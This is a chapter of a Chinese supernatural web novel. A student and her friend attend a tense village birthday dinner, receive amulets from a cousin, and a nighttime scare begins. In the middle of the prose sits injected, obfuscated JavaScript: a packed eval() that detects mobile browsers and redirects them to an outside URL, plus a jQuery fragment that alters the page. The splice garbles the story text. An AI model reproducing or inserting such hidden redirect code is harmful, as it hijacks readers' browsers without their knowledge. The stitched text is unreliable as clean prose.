2. 第 2 章
作品:《前男友真的做鬼来找我了》 “珈珈哎,是我,你大婶子,快开门。”
陆珈珈忙小跑着去开门。
院子里的围墙只有差不多两米,完全是防君子不防小人,不借助工具也很好攀爬。
不过这里的风气,大晚上不关大门的也大有人在。
一开门,就看到陆大婶手里拎着一只鸡和一只鱼,蓬松杂乱的头发,一张脸上满是大颗大颗的汗珠。
她嗔怪道:“哎哟你们这俩妮儿,大白天的关着门干什么,不值得还以为家里没人呢。”
崔茸在城长大,十几年的老邻居她都不知道对面有几口人,更不理解这走亲访友的风气。
这里的人好像和她们一样无所事事,逮住机会就聚在一起唠家常,西家长东家短的,一传十十传百,白的都能传成黑的。
陆大婶也不用人让,自来熟地就往厨房里走,一边和两人说明来意:“你大叔说,你都好几年没回来了,好不容易回来一趟,得好好给你过个生日。我过来先把饭做好,等一会儿,大家伙儿都过来给你庆生。”
陆珈珈脸上惊喜的神色很明显,连局外人崔茸也觉得心里暖融融的。
虽说这里的人际交往没啥边界感,但人情味儿挺足的。
三人一通忙活,崔茸洗菜,陆大婶将带来的鸡和鱼处理好,陆珈珈掌勺,忙得热火朝天,到中午时,一大桌子丰盛的菜肴就准备好了,陆珈珈的其他那些亲戚也都来了。
但分配座椅的时候出来问题,家里的桌子是张方正的木桌,坐七八个人没什么问题,但十几个人就不行了。
陆大叔挺着个啤酒肚,穿着个白色的背心,洗得极薄,皮肤纹理若隐若现,有点辣眼睛,崔茸没敢多看。
他很自然着分配起来,“这样,秀萍你带着小丽、珈珈和她朋友新开一桌。”
崔茸一听,就很不高兴:“什么呀?我们仨忙活了这么久,凭什么去坐小桌子啊?”
陆大婶忙道:“他们这些壮力,凑在一起肯定又要喝酒,这个天气身上也难闻,和他们一起挤多不好,咱们几个女的一起吃不好吗?”
她女儿陆小丽穿一身小香风套装,波浪式的卷发扎成一个高高的马尾,身形也是和陆珈珈似的,又高又瘦,直挺挺的像根筷子,脸的风格却大相径庭,陆珈珈像个未成年,陆小丽却长了一张明艳的脸。
这亲堂姐妹俩好像关系平平,陆小丽自从进家门来那刻起就鼻子不是鼻子眼睛不是眼睛的,听了爸妈的话更是恼怒起来,在大庭广众之下也不给面子,跺脚道:“我早就说了我不想过来不想过来,你们又偏要我过来,结果来了连饭桌都不让上,我不吃这一顿饭是能饿死吗?我不管了,我自己走了你们爱咋滴咋滴!”
说罢踩着高跟凉鞋走了,陆大叔瞪着眼在后面喊了好几句回来也没用。
亲女儿都不给面子,崔茸就更不会给面子了,她不管不顾就往主位一坐,“这菜又不是你们做的,这也不是你们的家,凭什么让我们下去,没有你们这样不讲理的,要是这样,干脆大家都别吃了。”
她也挺嫌弃这些人的,陆大叔已经算好的了,虽然穿着不太得体,身上最起码没什么异味,剩下人里还有几个把衣服往上掀,露出一肚子肥肉的。
陆珈珈胆子小,但心里也不高兴,想象中的温情场面没有出现,反倒是迎来了一帮大老爷,看见崔茸站起来,她忙也小声帮腔:“就是,今天我可是寿星,这顿饭不是为了庆祝我的生日吗?”
陆大婶看气氛不对,忙做和事佬:“算了,珈珈说得对,她是寿星,小崔是客人,你们俩是应该上桌,这样大家挤一挤,我和大强在厨房里吃就行。”
崔茸看见她这副委曲求全的模样就来气,一坐下来,更闻到一股浓重的汗味,眉头皱得越紧。
陆珈珈挺害怕要陆大婶她们生气的,但更害怕崔茸生气。
虽然是亲人,但她还是和崔茸的关系更亲近些,把站起来,努力摆出一副架势,就当着所有人的面和陆大婶说话:“婶子你怎么能这样,我原本以为只是叔儿还有大强小丽过来,结果你叫这么一帮人,坐也坐不开,大家还本来就不熟。”
陆大婶尴尬道:“大家都是邻居,往上数三代都是亲戚。你年纪小,又总在外上学,所以才不熟悉,多走动走动就好了。”
陆珈珈夫妻抿着唇没说话,但其他人脸皮再厚也坐下去了,纷纷起身告辞,没过几分钟,刚才还拥挤的客厅就空荡下来。
陆大叔脸色铁青,“行啊陆珈珈你可真行,我们一番好意来给你过生日,你倒好,大城市见过世面就是不一样哈。”
说完头也没回,甩手走了。
陆大身叹口气,眉眼之间也多有责备,但到底什么也没说,只把一个红包往陆珈珈手里塞:“这是你叔儿和我的一点心意,我们知道,你以后肯定要留在大城市,以后也不知道能再见几面。你叔也是想着热闹一点,真没别的意思,别放在心上哈。”
说完拉着儿子陆大强要走。
陆大强高鼻深目,和妹妹的长相如出一辙,是个浓颜帅哥,又是宽肩窄腰大长腿,身高一米八多,可惜小时候发烧没及时看病烧坏了脑子,智商一直停留在孩童阶段。
被陆大婶拉着,他有点着急,哼哼几声挣脱束缚,将手中一个黄色的小纸条塞到陆珈珈手里,脸上笑容阳光傻气:“生日礼物,送妹妹,妹妹别生气。”
说完又要拉崔茸的手,崔茸被吓了一跳,还妹来得及甩开,他就松开了,手心里却多了个东西,一看也是被折成三角形的黄色纸条。
“送妹妹的好朋友的,好朋友也别生气。”
崔茸觉得,有的人虽然智商正常,但还不如这个傻子呢。
这场饭最后还是只有她们两个吃,可好心情被破坏掉了,就很难再恢复如初。
客厅里的老古董柜式空调还在工作着,冷风不断往外冒,一扇门隔绝了外头的暑热,屋里屋外完全是两个世界。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167009|196764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吹了蜡烛切了蛋糕,两人吃完饭,一大桌子的菜还剩下一大半,恐怕晚上还有明天都要继续吃剩菜了。
崔茸摆弄着陆大强刚给她手里的塞的那个三角形小纸包,这明显是个平安符,就是不知道是从哪里得来的。
她还第一次碰到平安符呢,想拆开看看,陆珈珈忙制止了她:“不能拆的。”
她想起花圈店那个人的话,又忧心忡忡起来:“你最近还是带着吧,万一真遇到不好的事,说不定还能替你挡一劫呢。”
崔茸先是一愣,然后指着她哈哈大笑起来:“陆珈珈你的思政课都是白上的吗?都是什么年代了,居然还相信这些?”
陆珈珈也不恼怒:“宁可信其有,不可信其无嘛。这好歹也是大强哥送你的礼物,一片心意嘛。再说了,你带着又不会少一块肉。”
崔茸随后装进手机壳里,懒洋洋道:“我大门不出二门不迈的,能出什么事?”
陆珈珈:“哎呦你这话说的,要是凡事都能预料,那就不叫意外了。”
一大早就起来,又忙活了一个上午,崔茸打了个哈欠在沙发上闭了眼,再醒来时已经是晚上八点多了。
这下完蛋,她的生物钟又要更混乱了。
陆珈珈家里有两间卧室,家具一应俱全,但并没有安装空调。
近四十度的高温,没有空调是绝对睡不着的,所以这些天两人都在客厅打地铺。
陆珈珈还没醒,崔茸便也没有开灯,在冰箱里拿了瓶酸奶,带上耳机刷了一会儿手机,外头不时有人语传来,多是小孩子的笑声,应该是去外面捉知了的。
这虫子用油一炸,是小孩子们的最爱,也只有小孩子们才这么不怕热。
到了九点多,外头便一点儿声响也没有了,崔茸喝了瓶酸奶,又喝了一瓶可乐,不可避免想去上厕所。
农村的卫生间基本都建在院子外头,出去一趟很是麻烦。
刚打开房门,一股热风就扑面而来,带着让人心烦意乱的潮湿。
这闷热不正常,很有可能要下雨。
九点,城市的夜生活还没有开始,但农村已经很宁静了,邻居几家屋里的灯还亮着,但门口的道路上安静得很,一个人影都无。
崔茸开了大门,打开手机手电筒照亮脚下的路,谁知道草丛里会不会藏着什么蛇虫鼠蚁。
幸好厕所里安装的是马桶,大夏天的也没什么异味,不过只垒了四面墙,却没有屋顶,一抬头,就是黑漆漆的夜空,也看不到几颗星星。
崔茸心里挺不自在,觉得好像在露天一样。
在厕所的门上挂了个电灯泡,上面用塑料袋简单地做了个罩子以防下雨,一打开是昏黄的光。
崔茸刚解开扣子坐到马桶上,电灯泡就闪了一下。
她没在意,只当做是接触不良,这电灯泡看起来年岁已高,有个小毛病再正常不过。
接下来发生的事情却让崔茸害怕起来了。

